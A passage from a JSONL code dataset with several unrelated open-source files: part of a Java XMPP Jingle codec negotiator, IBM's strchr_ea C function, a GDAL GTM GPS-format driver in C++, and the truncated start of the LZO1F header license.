JingleException(iq.getError().getDescriptiveText());\n } else if (iq.getType().equals(IQ.Type.result)) {\n // Process ACKs\n if (isExpectedId(iq.getStanzaId())) {\n receiveResult(iq);\n removeExpectedId(iq.getStanzaId());\n }\n } else if (iq instanceof Jingle) {\n Jingle jingle = (Jingle) iq;\n JingleActionEnum action = jingle.getAction();\n\n // Only act on the JingleContent sections that belong to this media negotiator.\n for (JingleContent jingleContent : jingle.getContentsList()) {\n if (jingleContent.getName().equals(parentNegotiator.getName())) {\n\n JingleDescription description = jingleContent.getDescription();\n\n if (description != null) {\n\n switch (action) {\n case CONTENT_ACCEPT:\n response = receiveContentAcceptAction(jingle, description);\n break;\n\n case CONTENT_MODIFY:\n break;\n\n case CONTENT_REMOVE:\n break;\n\n case SESSION_INFO:\n response = receiveSessionInfoAction(jingle, description);\n break;\n\n case SESSION_INITIATE:\n response = receiveSessionInitiateAction(jingle, description);\n break;\n\n case SESSION_ACCEPT:\n response = receiveSessionAcceptAction(jingle, description);\n break;\n\n default:\n break;\n }\n }\n }\n }\n\n }\n\n if (response != null) {\n addExpectedId(response.getStanzaId());\n responses.add(response);\n }\n\n return responses;\n }\n\n /**\n * Process the ACK of our list of codecs (our offer).\n */\n private static Jingle receiveResult(IQ iq) throws XMPPException {\n Jingle response = null;\n\n// if (!remoteAudioPts.isEmpty()) {\n// // Calculate the best common codec\n// bestCommonAudioPt = calculateBestCommonAudioPt(remoteAudioPts);\n//\n// // and send an accept if we have an agreement...\n// if (bestCommonAudioPt != null) {\n// response = createAcceptMessage();\n// } else {\n// throw new JingleException(JingleError.NO_COMMON_PAYLOAD);\n// }\n// }\n return response;\n }\n\n /**\n * The other side has sent us a content-accept. The payload types in that message may not match with what\n * we sent, but XEP-167 says that the other side should retain the order of the payload types we first sent.\n *\n * This means we can walk through our list, in order, until we find one from their list that matches. This\n * will be the best payload type to use.\n *\n * @param jingle TODO javadoc me please\n * @return the iq\n * @throws NotConnectedException if the XMPP connection is not connected.\n * @throws InterruptedException if the calling thread was interrupted.\n */\n private IQ receiveContentAcceptAction(Jingle jingle, JingleDescription description) throws XMPPException, NotConnectedException, InterruptedException {\n IQ response;\n\n List offeredPayloads = description.getAudioPayloadTypesList();\n bestCommonAudioPt = calculateBestCommonAudioPt(offeredPayloads);\n\n if (bestCommonAudioPt == null) {\n\n setNegotiatorState(JingleNegotiatorState.FAILED);\n response = session.createJingleError(jingle, JingleError.NEGOTIATION_ERROR);\n\n } else {\n\n setNegotiatorState(JingleNegotiatorState.SUCCEEDED);\n triggerMediaEstablished(getBestCommonAudioPt());\n LOGGER.severe(\"Media choice:\" + getBestCommonAudioPt().getName());\n\n response = session.createAck(jingle);\n }\n\n return response;\n }\n\n /**\n * Receive a session-initiate packet.\n * @param jingle TODO javadoc me please\n * @param description TODO javadoc me please\n * @return the iq\n */\n private IQ receiveSessionInitiateAction(Jingle jingle, JingleDescription description) {\n IQ response = null;\n\n List offeredPayloads = description.getAudioPayloadTypesList();\n bestCommonAudioPt = calculateBestCommonAudioPt(offeredPayloads);\n\n synchronized (remoteAudioPts) {\n remoteAudioPts.addAll(offeredPayloads);\n }\n\n // If there are suitable/matching payload types then accept this content.\n if (bestCommonAudioPt != null) {\n // Let the transport negotiators sort-out connectivity and content-accept instead.\n // response = createAudioPayloadTypesOffer();\n setNegotiatorState(JingleNegotiatorState.PENDING);\n } else {\n // Don't really know what to send here. XEP-166 is not clear.\n setNegotiatorState(JingleNegotiatorState.FAILED);\n }\n\n return response;\n }\n\n /**\n * A content info has been received. This is done for publishing the\n * list of payload types...\n *\n * @param jingle TODO javadoc me please\n * The input packet\n * @return a Jingle packet\n * @throws JingleException\n */\n private IQ receiveSessionInfoAction(Jingle jingle, JingleDescription description) throws JingleException {\n IQ response = null;\n PayloadType oldBestCommonAudioPt = bestCommonAudioPt;\n List offeredPayloads;\n boolean ptChange = false;\n\n offeredPayloads = description.getAudioPayloadTypesList();\n if (!offeredPayloads.isEmpty()) {\n\n synchronized (remoteAudioPts) {\n remoteAudioPts.clear();\n remoteAudioPts.addAll(offeredPayloads);\n }\n\n // Calculate the best common codec\n bestCommonAudioPt = calculateBestCommonAudioPt(remoteAudioPts);\n if (bestCommonAudioPt != null) {\n // and send an accept if we have an agreement...\n ptChange = !bestCommonAudioPt.equals(oldBestCommonAudioPt);\n if (oldBestCommonAudioPt == null || ptChange) {\n // response = createAcceptMessage();\n }\n } else {\n throw new JingleException(JingleError.NO_COMMON_PAYLOAD);\n }\n }\n\n // Parse the Jingle and get the payload accepted\n return response;\n }\n\n /**\n * A jmf description has been accepted. In this case, we must save the\n * accepted payload type and notify any listener...\n *\n * @param jin TODO javadoc me please\n * The input packet\n * @return a Jingle packet\n * @throws JingleException\n */\n private IQ receiveSessionAcceptAction(Jingle jingle, JingleDescription description) throws JingleException {\n IQ response = null;\n PayloadType.Audio agreedCommonAudioPt;\n\n if (bestCommonAudioPt == null) {\n // Update the best common audio PT\n bestCommonAudioPt = calculateBestCommonAudioPt(remoteAudioPts);\n // response = createAcceptMessage();\n }\n\n List offeredPayloads = description.getAudioPayloadTypesList();\n if (!offeredPayloads.isEmpty()) {\n if (offeredPayloads.size() == 1) {\n agreedCommonAudioPt = (PayloadType.Audio) offeredPayloads.get(0);\n if (bestCommonAudioPt != null) {\n // If the accepted PT matches the best payload\n // everything is fine\n if (!agreedCommonAudioPt.equals(bestCommonAudioPt)) {\n throw new JingleException(JingleError.NEGOTIATION_ERROR);\n }\n }\n\n } else if (offeredPayloads.size() > 1) {\n throw new JingleException(JingleError.MALFORMED_STANZA);\n }\n }\n\n return response;\n }\n\n /**\n * Return true if the content is negotiated.\n *\n * @return true if the content is negotiated.\n */\n public boolean isEstablished() {\n return getBestCommonAudioPt() != null;\n }\n\n /**\n * Return true if the content is fully negotiated.\n *\n * @return true if the content is fully negotiated.\n */\n public boolean isFullyEstablished() {\n return isEstablished() && ((getNegotiatorState() == JingleNegotiatorState.SUCCEEDED) || (getNegotiatorState() == JingleNegotiatorState.FAILED));\n }\n\n // Payload types\n\n private PayloadType calculateBestCommonAudioPt(List remoteAudioPts) {\n final ArrayList commonAudioPtsHere = new ArrayList<>();\n final ArrayList commonAudioPtsThere = new ArrayList<>();\n PayloadType result = null;\n\n if (!remoteAudioPts.isEmpty()) {\n commonAudioPtsHere.addAll(localAudioPts);\n commonAudioPtsHere.retainAll(remoteAudioPts);\n\n commonAudioPtsThere.addAll(remoteAudioPts);\n commonAudioPtsThere.retainAll(localAudioPts);\n\n if (!commonAudioPtsHere.isEmpty() && !commonAudioPtsThere.isEmpty()) {\n\n if (session.getInitiator().equals(session.getConnection().getUser())) {\n PayloadType.Audio bestPtHere = null;\n\n PayloadType payload = mediaManager.getPreferredPayloadType();\n\n if (payload != null && payload instanceof PayloadType.Audio)\n if (commonAudioPtsHere.contains(payload))\n bestPtHere = (PayloadType.Audio) payload;\n\n if (bestPtHere == null)\n for (PayloadType payloadType : commonAudioPtsHere)\n if (payloadType instanceof PayloadType.Audio) {\n bestPtHere = (PayloadType.Audio) payloadType;\n break;\n }\n\n result = bestPtHere;\n } else {\n PayloadType.Audio bestPtThere = null;\n for (PayloadType payloadType : commonAudioPtsThere)\n if (payloadType instanceof PayloadType.Audio) {\n bestPtThere = (PayloadType.Audio) payloadType;\n break;\n }\n\n result = bestPtThere;\n }\n }\n }\n\n return result;\n }\n\n /**\n * Adds a payload type to the list of remote payloads.\n *\n * @param pt TODO javadoc me please\n * the remote payload type\n */\n public void addRemoteAudioPayloadType(PayloadType.Audio pt) {\n if (pt != null) {\n synchronized (remoteAudioPts) {\n remoteAudioPts.add(pt);\n }\n }\n }\n\n// /**\n// * Create an offer for the list of audio payload types.\n// *\n// * @return a new Jingle packet with the list of audio Payload Types\n// */\n// private Jingle createAudioPayloadTypesOffer() {\n//\n// JingleContent jingleContent = new JingleContent(parentNegotiator.getCreator(), parentNegotiator.getName());\n// JingleDescription audioDescr = new JingleDescription.Audio();\n//\n// // Add the list of payloads for audio and create a\n// // JingleDescription\n// // where we announce our payloads...\n// audioDescr.addAudioPayloadTypes(localAudioPts);\n// jingleContent.setDescription(audioDescr);\n//\n// Jingle jingle = new Jingle(JingleActionEnum.CONTENT_ACCEPT);\n// jingle.addContent(jingleContent);\n//\n// return jingle;\n// }\n\n // Predefined messages and Errors\n\n /**\n * Create an IQ \"accept\" message.\n */\n// private Jingle createAcceptMessage() {\n// Jingle jout = null;\n//\n// // If we have a common best codec, send an accept right now...\n// jout = new Jingle(JingleActionEnum.CONTENT_ACCEPT);\n// JingleContent content = new JingleContent(parentNegotiator.getCreator(), parentNegotiator.getName());\n// content.setDescription(new JingleDescription.Audio(bestCommonAudioPt));\n// jout.addContent(content);\n//\n// return jout;\n// }\n\n // Payloads\n\n /**\n * Get the best common codec between both parts.\n *\n * @return The best common PayloadType codec.\n */\n public PayloadType getBestCommonAudioPt() {\n return bestCommonAudioPt;\n }\n\n // Events\n\n /**\n * Trigger a session established event.\n *\n * @param bestPt TODO javadoc me please\n * payload type that has been agreed.\n * @throws NotConnectedException if the XMPP connection is not connected.\n * @throws InterruptedException if the calling thread was interrupted.\n */\n protected void triggerMediaEstablished(PayloadType bestPt) throws NotConnectedException, InterruptedException {\n List listeners = getListenersList();\n for (JingleListener li : listeners) {\n if (li instanceof JingleMediaListener) {\n JingleMediaListener mli = (JingleMediaListener) li;\n mli.mediaEstablished(bestPt);\n }\n }\n }\n\n /**\n * Trigger a jmf closed event.\n *\n * @param currPt TODO javadoc me please\n * current payload type that is cancelled.\n */\n protected void triggerMediaClosed(PayloadType currPt) {\n List listeners = getListenersList();\n for (JingleListener li : listeners) {\n if (li instanceof JingleMediaListener) {\n JingleMediaListener mli = (JingleMediaListener) li;\n mli.mediaClosed(currPt);\n }\n }\n }\n\n /**\n * Called from above when starting a new session.\n */\n @Override\n protected void doStart() {\n\n }\n\n /**\n * Terminate the jmf negotiator.\n */\n @Override\n public void close() {\n super.close();\n triggerMediaClosed(getBestCommonAudioPt());\n }\n\n /**\n * Create a JingleDescription that matches this negotiator.\n *\n * @return the jingle description.\n */\n public JingleDescription getJingleDescription() {\n JingleDescription result = null;\n PayloadType payloadType = getBestCommonAudioPt();\n if (payloadType != null) {\n result = new JingleDescription.Audio(payloadType);\n } else {\n // If we haven't settled on a best payload type yet then just use the first one in our local list.\n result = new JingleDescription.Audio();\n result.addAudioPayloadTypes(localAudioPts);\n }\n return result;\n }\n}\n"} +{"text": "/*\n(C) Copyright IBM Corp. 2007, 2008\n\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n* Redistributions of source code must retain the above copyright notice,\nthis list of conditions and the following disclaimer.\n* Redistributions in binary form must reproduce the above copyright\nnotice, this list of conditions and the following disclaimer in the\ndocumentation and/or other materials provided with the distribution.\n* Neither the name of IBM nor the names of its contributors may be\nused to endorse or promote products derived from this software without\nspecific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n*/\n\n#include \n#include \"ea_internal.h\"\n#include \n#include \n#include \n\nCOMPAT_EA_ALIAS (strchr_ea);\n\n__ea char *\nstrchr_ea (__ea const char *s, int c)\n{\n size_ea_t size;\n\n size = strlen_ea (s);\n return (char *) memchr_ea (s, c, size);\n}\n"} +{"text": "/******************************************************************************\n *\n * Project: GTM Driver\n * Purpose: Implementation of OGRGTMDataSource class.\n * Author: Leonardo de Paula Rosa Piga; http://lampiao.lsc.ic.unicamp.br/~piga\n *\n ******************************************************************************\n * Copyright (c) 2009, Leonardo de Paula Rosa Piga\n *\n * Permission is hereby granted, free of charge, to any person obtaining a\n * copy of this software and associated documentation files (the \"Software\"),\n * to deal in the Software without restriction, including without limitation\n * the rights to use, copy, modify, merge, publish, distribute, sublicense,\n * and/or sell copies of the Software, and to permit persons to whom the\n * Software is furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included\n * in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS\n * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL\n * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER\n * DEALINGS IN THE SOFTWARE.\n ****************************************************************************/\n\n#include \"ogr_gtm.h\"\n\n#include \n\nCPL_CVSID(\"$Id$\")\n\n/************************************************************************/\n/* OGRGTMDataSource() */\n/************************************************************************/\n\nOGRGTMDataSource::OGRGTMDataSource() :\n fpOutput(nullptr),\n fpTmpTrackpoints(nullptr),\n pszTmpTrackpoints(nullptr),\n fpTmpTracks(nullptr),\n pszTmpTracks(nullptr),\n poGTMFile(nullptr),\n pszName(nullptr),\n papoLayers(nullptr),\n nLayers(0),\n bIssuedCTError(false),\n minlat(0),\n maxlat(0),\n minlon(0),\n maxlon(0),\n numWaypoints(0),\n numTracks(0),\n numTrackpoints(0)\n{}\n\n/************************************************************************/\n/* AppendTemporaryFiles() */\n/************************************************************************/\nvoid OGRGTMDataSource::AppendTemporaryFiles()\n{\n if( fpOutput == nullptr )\n return;\n\n if (numTrackpoints == 0 && numTracks == 0)\n return;\n\n void* pBuffer = CPLMalloc(2048);\n\n // Append Trackpoints to the output file\n fpTmpTrackpoints = VSIFOpenL( pszTmpTrackpoints, \"r\" );\n if (fpTmpTrackpoints != nullptr)\n {\n while ( !VSIFEofL(fpTmpTrackpoints) )\n {\n const size_t bytes = VSIFReadL(pBuffer, 1, 2048, fpTmpTrackpoints);\n VSIFWriteL(pBuffer, bytes, 1, fpOutput);\n }\n VSIFCloseL( fpTmpTrackpoints );\n fpTmpTrackpoints = nullptr;\n }\n\n // Append Tracks to the output file\n fpTmpTracks = VSIFOpenL( pszTmpTracks, \"r\" );\n if (fpTmpTracks != nullptr)\n {\n while ( !VSIFEofL(fpTmpTracks) )\n {\n const size_t bytes = VSIFReadL(pBuffer, 1, 2048, fpTmpTracks);\n VSIFWriteL(pBuffer, bytes, 1, fpOutput);\n }\n VSIFCloseL( fpTmpTracks );\n fpTmpTracks = nullptr;\n }\n CPLFree(pBuffer);\n}\n\n/************************************************************************/\n/* WriteWaypointStyles() */\n/************************************************************************/\nvoid OGRGTMDataSource::WriteWaypointStyles()\n{\n if( fpOutput != nullptr )\n {\n // We have waypoints, thus we need to write the default\n // waypoint style as defined by the specification\n if ( numWaypoints != 0)\n {\n void* pBuffer = CPLMalloc(35);\n void* pBufferAux = pBuffer;\n for (int i = 0; i < 4; ++i)\n {\n // height\n appendInt(pBufferAux, -11);\n pBufferAux = ((char*)pBufferAux) + 4;\n // facename size\n appendUShort(pBufferAux, 5);\n pBufferAux = ((char*)pBufferAux) + 2;\n // facename\n memcpy((char*)pBufferAux, \"Arial\", 5);\n pBufferAux = ((char*)pBufferAux) + 5;\n // dspl\n appendUChar(pBufferAux, (unsigned char) i);\n pBufferAux = ((char*)pBufferAux) + 1;\n // color\n appendInt(pBufferAux, 0);\n pBufferAux = ((char*)pBufferAux) + 4;\n // weight\n appendInt(pBufferAux, 400);\n pBufferAux = ((char*)pBufferAux) + 4;\n // scale1\n appendInt(pBufferAux, 0);\n pBufferAux = ((char*)pBufferAux) + 4;\n // border\n appendUChar(pBufferAux, (i != 3) ? 0 : 139);\n pBufferAux = ((char*)pBufferAux) + 1;\n // background\n appendUShort(pBufferAux, (i != 3) ? 0 : 0xFF);\n pBufferAux = ((char*)pBufferAux) + 2;\n // backcolor\n appendInt(pBufferAux, (i != 3) ? 0 : 0xFFFF);\n pBufferAux = ((char*)pBufferAux) + 4;\n // italic, underline, strikeout\n appendInt(pBufferAux, 0);\n pBufferAux = ((char*)pBufferAux) + 3;\n // alignment\n appendUChar(pBufferAux, (i != 3) ? 0 : 1);\n pBufferAux = pBuffer;\n VSIFWriteL(pBuffer, 35, 1, fpOutput);\n }\n CPLFree(pBuffer);\n }\n }\n}\n\n/************************************************************************/\n/* ~OGRGTMDataSource() */\n/************************************************************************/\n\nOGRGTMDataSource::~OGRGTMDataSource()\n{\n if (fpTmpTrackpoints != nullptr)\n VSIFCloseL( fpTmpTrackpoints );\n\n if (fpTmpTracks != nullptr)\n VSIFCloseL( fpTmpTracks );\n\n WriteWaypointStyles();\n AppendTemporaryFiles();\n\n if( fpOutput != nullptr )\n {\n /* Adjust header counters */\n VSIFSeekL(fpOutput, NWPTS_OFFSET, SEEK_SET);\n writeInt(fpOutput, numWaypoints);\n writeInt(fpOutput, numTrackpoints);\n\n VSIFSeekL(fpOutput, NTK_OFFSET, SEEK_SET);\n writeInt(fpOutput, numTracks);\n\n /* Adjust header bounds */\n VSIFSeekL(fpOutput, BOUNDS_OFFSET, SEEK_SET);\n writeFloat(fpOutput, maxlon);\n writeFloat(fpOutput, minlon);\n writeFloat(fpOutput, maxlat);\n writeFloat(fpOutput, minlat);\n VSIFCloseL( fpOutput );\n }\n\n for( int i = 0; i < nLayers; i++ )\n delete papoLayers[i];\n CPLFree( papoLayers );\n\n CPLFree( pszName );\n\n if (pszTmpTracks != nullptr)\n {\n VSIUnlink( pszTmpTracks );\n CPLFree( pszTmpTracks );\n }\n\n if (pszTmpTrackpoints != nullptr)\n {\n VSIUnlink( pszTmpTrackpoints );\n CPLFree( pszTmpTrackpoints );\n }\n\n if (poGTMFile != nullptr)\n delete poGTMFile;\n}\n\n/************************************************************************/\n/* Open() */\n/************************************************************************/\n\nint OGRGTMDataSource::Open(const char* pszFilename, int bUpdate)\n{\n CPLAssert( pszFilename != nullptr );\n\n /* Should not happen as the driver already returned if bUpdate == NULL */\n if (bUpdate)\n {\n CPLError(CE_Failure, CPLE_NotSupported,\n \"GTM driver does not support opening in update mode\");\n return FALSE;\n }\n\n/* -------------------------------------------------------------------- */\n/* Create a GTM object and open the source file. */\n/* -------------------------------------------------------------------- */\n poGTMFile = new GTM();\n\n if ( !poGTMFile->Open( pszFilename ) )\n {\n delete poGTMFile;\n poGTMFile = nullptr;\n return FALSE;\n }\n\n/* -------------------------------------------------------------------- */\n/* Validate it by start parsing */\n/* -------------------------------------------------------------------- */\n if( !poGTMFile->isValid() )\n {\n delete poGTMFile;\n poGTMFile = nullptr;\n return FALSE;\n }\n\n pszName = CPLStrdup( pszFilename );\n/* -------------------------------------------------------------------- */\n/* Now, we are able to read the file header and find the position */\n/* of the first waypoint and the position of the first track. */\n/* -------------------------------------------------------------------- */\n if ( !poGTMFile->readHeaderNumbers() )\n return FALSE;\n\n/* -------------------------------------------------------------------- */\n/* We can start reading the file elements */\n/* We are going to translate GTM features into layers */\n/* -------------------------------------------------------------------- */\n char* pszBaseFileName = CPLStrdup( CPLGetBasename(pszFilename) );\n /* We are going to create two layers, one for storing waypoints and\n another for storing tracks */\n papoLayers = (OGRGTMLayer **) CPLMalloc(sizeof(void*) * 2);\n\n /* Create a spatial reference for WGS8*/\n OGRSpatialReference* poSRS = new OGRSpatialReference(nullptr);\n poSRS->SetAxisMappingStrategy(OAMS_TRADITIONAL_GIS_ORDER);\n poSRS->SetWellKnownGeogCS( \"WGS84\" );\n\n /* Waypoint layer */\n size_t layerNameSize = strlen(pszBaseFileName) + sizeof(\"_waypoints\");\n char* pszLayerName = (char*) CPLMalloc(layerNameSize);\n /* The layer name will be \"_waypoints\" */\n strcpy (pszLayerName, pszBaseFileName);\n CPLStrlcat (pszLayerName, \"_waypoints\", layerNameSize);\n\n /* Store the layer of waypoints */\n\n GTMWaypointLayer* poWaypointLayer = new GTMWaypointLayer ( pszLayerName,\n poSRS,\n FALSE,\n this );\n papoLayers[nLayers++] = poWaypointLayer;\n CPLFree(pszLayerName);\n\n /* Track layer */\n layerNameSize = strlen(pszBaseFileName) + sizeof(\"_tracks\");\n pszLayerName = (char*) CPLMalloc(layerNameSize);\n /* The layer name will be \"_tracks\" */\n strcpy (pszLayerName, pszBaseFileName);\n CPLStrlcat (pszLayerName, \"_tracks\", layerNameSize);\n\n CPLFree(pszBaseFileName);\n /* Store the layer of tracks */\n GTMTrackLayer* poTrackLayer = new GTMTrackLayer ( pszLayerName,\n poSRS,\n FALSE,\n this );\n papoLayers[nLayers++] = poTrackLayer;\n CPLFree(pszLayerName);\n\n poSRS->Release();\n return TRUE;\n}\n\n/************************************************************************/\n/* Create() */\n/************************************************************************/\n\nint OGRGTMDataSource::Create( const char* pszFilename,\n CPL_UNUSED char** papszOptions )\n{\n CPLAssert( nullptr != pszFilename );\n\n if( fpOutput != nullptr )\n {\n CPLAssert( false );\n return FALSE;\n }\n\n/* -------------------------------------------------------------------- */\n/* Do not override exiting file. */\n/* -------------------------------------------------------------------- */\n VSIStatBufL sStatBuf;\n\n if( VSIStatL( pszFilename, &sStatBuf ) == 0 )\n {\n CPLError(CE_Failure, CPLE_NotSupported,\n \"You have to delete %s before being able to create it with the GTM driver\",\n pszFilename);\n return FALSE;\n }\n\n/* -------------------------------------------------------------------- */\n/* Create the output file. */\n/* -------------------------------------------------------------------- */\n pszName = CPLStrdup( pszFilename );\n\n fpOutput = VSIFOpenL( pszFilename, \"w\" );\n if( fpOutput == nullptr )\n {\n CPLError( CE_Failure, CPLE_OpenFailed,\n \"Failed to create GTM file %s.\",\n pszFilename );\n return FALSE;\n }\n\n // Generate a temporary file for Trackpoints\n const char* pszTmpName = CPLGenerateTempFilename(nullptr);\n pszTmpTrackpoints = CPLStrdup( pszTmpName );\n fpTmpTrackpoints = VSIFOpenL(pszTmpName , \"w\" );\n if( fpTmpTrackpoints == nullptr )\n {\n CPLError( CE_Failure, CPLE_OpenFailed,\n \"Failed to create temporary file %s.\",\n pszTmpName );\n return FALSE;\n }\n // Generate a temporary file for Tracks\n pszTmpName = CPLGenerateTempFilename(nullptr);\n pszTmpTracks = CPLStrdup( pszTmpName );\n fpTmpTracks = VSIFOpenL(pszTmpName , \"w\" );\n if( fpTmpTracks == nullptr )\n {\n CPLError( CE_Failure, CPLE_OpenFailed,\n \"Failed to create temporary file %s.\",\n pszTmpName );\n return FALSE;\n }\n\n/* -------------------------------------------------------------------- */\n/* Output header of GTM file. */\n/* -------------------------------------------------------------------- */\n char* pszBaseFileName = CPLStrdup( CPLGetBasename(pszFilename) );\n size_t sizeBuffer = 175 + strlen(pszBaseFileName);\n void* pBuffer = CPLCalloc(1, sizeBuffer);\n void* pCurrentPos = pBuffer;\n\n // Write version number\n appendUShort(pCurrentPos, 211);\n pCurrentPos = ((char*)pCurrentPos) + 2;\n // Write code\n strcpy((char*)pCurrentPos, \"TrackMaker\");\n // gradnum\n pCurrentPos = (char*) pBuffer + 14;\n appendUChar(pCurrentPos, 8);\n // bcolor\n pCurrentPos = (char*) pBuffer + 23;\n appendInt(pCurrentPos, 0xffffff);\n // nwptstyles -- We just create the defaults, so four\n pCurrentPos = (char*) pBuffer + 27;\n appendInt(pCurrentPos, 4);\n // gradfont, labelfont\n pCurrentPos = (char*) pBuffer + 99;\n for (int i = 0; i < 2; i++)\n {\n appendUShort(pCurrentPos, 5);\n pCurrentPos = ((char*)pCurrentPos) + 2;\n strcpy((char*)pCurrentPos, \"Arial\");\n pCurrentPos = ((char*)pCurrentPos) + 5;\n }\n appendUShort(pCurrentPos, (unsigned short) strlen(pszBaseFileName));\n pCurrentPos = ((char*)pCurrentPos) + 2;\n strcpy((char*)pCurrentPos, pszBaseFileName);\n\n // Write ndatum. We are implementing just WGS84, so write the\n // corresponding value for WGS84.\n pCurrentPos = ((char*) pBuffer) + 151 + strlen(pszBaseFileName);\n appendInt(pCurrentPos, 217);\n\n VSIFWriteL(pBuffer, sizeBuffer, 1, fpOutput);\n\n CPLFree(pszBaseFileName);\n CPLFree(pBuffer);\n return TRUE;\n}\n\n/************************************************************************/\n/* GetLayer() */\n/************************************************************************/\n\nOGRLayer* OGRGTMDataSource::GetLayer( int iLayer )\n{\n if( iLayer < 0 || iLayer >= nLayers )\n return nullptr;\n\n return papoLayers[iLayer];\n}\n\n/************************************************************************/\n/* ICreateLayer() */\n/************************************************************************/\n\nOGRLayer * OGRGTMDataSource::ICreateLayer( const char * pszLayerName,\n OGRSpatialReference *poSRS,\n OGRwkbGeometryType eType,\n char ** /* papszOptions */ )\n{\n if (eType == wkbPoint || eType == wkbPoint25D)\n {\n // Waypoints\n nLayers++;\n papoLayers = (OGRGTMLayer **) CPLRealloc(papoLayers, nLayers * sizeof(OGRGTMLayer*));\n papoLayers[nLayers-1] = new GTMWaypointLayer( pszName, poSRS, TRUE, this );\n return papoLayers[nLayers-1];\n }\n else if (eType == wkbLineString || eType == wkbLineString25D ||\n eType == wkbMultiLineString || eType == wkbMultiLineString25D)\n {\n // Tracks\n nLayers++;\n papoLayers = (OGRGTMLayer **) CPLRealloc(papoLayers, nLayers * sizeof(OGRGTMLayer*));\n papoLayers[nLayers-1] = new GTMTrackLayer( pszName, poSRS, TRUE, this );\n return papoLayers[nLayers-1];\n }\n else if (eType == wkbUnknown)\n {\n CPLError(CE_Failure, CPLE_NotSupported,\n \"Cannot create GTM layer %s with unknown geometry type\", pszLayerName);\n return nullptr;\n }\n else\n {\n CPLError( CE_Failure, CPLE_NotSupported,\n \"Geometry type of `%s' not supported in GTM.\\n\",\n OGRGeometryTypeToName(eType) );\n return nullptr;\n }\n}\n\n/************************************************************************/\n/* TestCapability() */\n/************************************************************************/\n\nint OGRGTMDataSource::TestCapability( const char * pszCap )\n\n{\n if( EQUAL(pszCap,ODsCCreateLayer) )\n return TRUE;\n else\n return FALSE;\n}\n\n/************************************************************************/\n/* Methods for creating a new gtm file */\n/************************************************************************/\nvoid OGRGTMDataSource::checkBounds(float newLat,\n float newLon)\n{\n if (minlat == 0 && maxlat == 0 &&\n minlon == 0 && maxlon == 0)\n {\n minlat = newLat;\n maxlat = newLat;\n minlon = newLon;\n maxlon = newLon;\n }\n else\n {\n minlat = std::min(newLat, minlat);\n maxlat = std::max(newLat, maxlat);\n minlon = std::min(newLon, minlon);\n maxlon = std::max(newLon, maxlon);\n }\n}\n\n/************************************************************************/\n/* Methods for reading existent file */\n/************************************************************************/\n\n/*======================================================================*/\n/* Waypoint Methods */\n/*======================================================================*/\n\n/*----------------------------------------------------------------------*/\n/* getNWpts() */\n/*----------------------------------------------------------------------*/\n\nint OGRGTMDataSource::getNWpts()\n{\n if (poGTMFile == nullptr)\n return 0;\n\n return poGTMFile->getNWpts();\n}\n\n/*----------------------------------------------------------------------*/\n/* hasNextWaypoint() */\n/*----------------------------------------------------------------------*/\nbool OGRGTMDataSource::hasNextWaypoint()\n{\n if (poGTMFile == nullptr)\n return false;\n\n return poGTMFile->hasNextWaypoint();\n}\n\n/*----------------------------------------------------------------------*/\n/* fetchNextWaypoint() */\n/*----------------------------------------------------------------------*/\nWaypoint* OGRGTMDataSource::fetchNextWaypoint()\n{\n if (poGTMFile == nullptr)\n return nullptr;\n\n return poGTMFile->fetchNextWaypoint();\n}\n\n/*----------------------------------------------------------------------*/\n/* rewindWaypoint() */\n/*----------------------------------------------------------------------*/\nvoid OGRGTMDataSource::rewindWaypoint()\n{\n if (poGTMFile == nullptr)\n return;\n\n poGTMFile->rewindWaypoint();\n}\n\n/*======================================================================*/\n/* Tracks Methods */\n/*======================================================================*/\n\n/*----------------------------------------------------------------------*/\n/* getNTracks() */\n/*----------------------------------------------------------------------*/\n\nint OGRGTMDataSource::getNTracks()\n{\n if (poGTMFile == nullptr)\n return 0;\n\n return poGTMFile->getNTracks();\n}\n\n/*----------------------------------------------------------------------*/\n/* hasNextTrack() */\n/*----------------------------------------------------------------------*/\nbool OGRGTMDataSource::hasNextTrack()\n{\n if (poGTMFile == nullptr)\n return false;\n\n return poGTMFile->hasNextTrack();\n}\n\n/*----------------------------------------------------------------------*/\n/* fetchNextTrack() */\n/*----------------------------------------------------------------------*/\nTrack* OGRGTMDataSource::fetchNextTrack()\n{\n if (poGTMFile == nullptr)\n return nullptr;\n\n return poGTMFile->fetchNextTrack();\n}\n\n/*----------------------------------------------------------------------*/\n/* rewindTrack() */\n/*----------------------------------------------------------------------*/\nvoid OGRGTMDataSource::rewindTrack()\n{\n if (poGTMFile == nullptr)\n return;\n\n poGTMFile->rewindTrack();\n}\n"} +{"text": "/* lzo1f.h -- public interface of the LZO1F compression algorithm\n\n This file is part of the LZO real-time data compression library.\n\n Copyright (C) 1996-2017 Markus Franz Xaver Johannes Oberhumer\n All Rights Reserved.\n\n The LZO library is free software; you can redistribute it and/or\n 